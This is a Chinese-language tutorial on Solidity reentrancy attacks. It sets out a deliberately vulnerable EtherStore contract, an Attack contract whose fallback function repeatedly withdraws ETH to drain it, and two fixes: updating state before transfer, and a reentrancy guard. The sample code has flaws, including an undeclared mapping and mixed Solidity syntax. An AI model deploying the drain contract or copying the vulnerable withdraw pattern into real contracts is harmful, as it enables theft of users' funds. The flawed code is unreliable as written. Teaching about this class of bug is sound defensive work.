前言
重入(Reentrancy)攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数(或者具有回调逻辑的函数)和多余的gas将合约中本不属于自己的 ETH 转走。
重入攻击的本质是:黑客合约在一次交易中不断的回调被攻击合约的函数,造成资产损失。
fallback()
fallback函数,回退函数,是合约里的特殊无名函数,有且仅有一个。
- 它在合约调用没有匹配到函数签名被调用;
- 调用(call, send, transfer)没有带任何数据时被自动调用;
第一种情况多见于函数调用错误,第二种情况多见于原生币(链币)转账。
我们再来看看官方文档的内容:
如果在一个对合约调用中,没有 selector 匹配,则 fallback 函数会被调用。或者在没有 receive 函数时,而没有提供附加数据对合约调用,那么fallback 函数会被执行。
也就是说,攻击合约不需要实现 receive,只需要将攻击逻辑写在 fallback 中就可以实现 每次 eth 转账后,执行重入攻击逻辑。
合约示例
假设我们有两个合约:存储 eth 的合约、攻击合约。
- EtherStore.sol
// 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
// 5. 因为攻击者的 balance 值没有变化,所以继续执行2.
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
// 2. Transfer ETH
require(msg.sender.call.value(_weiToWithdraw)());
// 这行代码不会被执行
balances[msg.sender] -= _weiToWithdraw;
}
}
针对这个合约,攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;
,利用 fallback 函数在攻击合约中将所有 eth 转走。
- Attack.sol
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// 这里的地址就是 EtherStore 的地址
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// 1. 调用取款函数,取回1个 ETH
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。
function () payable {
if (etherStore.balance > 1 ether) {
// 4. 继续调用取款函数,取回1个 ETH
etherStore.withdrawFunds(1 ether);
}
}
}
我们回顾一下上面的步骤从1-5,就能理解重入攻击的原理了。
如何防范
我们发现,重入攻击者是利用合约先转账后赋值,导致函数逻辑未执行完成的漏洞进行攻击的。自然的,我们就有两种防范方法:
- 先赋值后转账
对于 EtherStore 的 withdraw 函数做如下更改
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
// 这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。
balances[msg.sender] -= _weiToWithdraw;
require(msg.sender.call.value(_weiToWithdraw)());
}
- 创建公有变量,记录每个 caller 进出函数的情况。
这个的原理是记录调用者(caller)的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。
我们常用的 Openzeppelin 就是使用的这个方法来防止重入攻击的,具体可以参考:
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol
参考文章:
https://www.jianshu.com/p/601c9e759281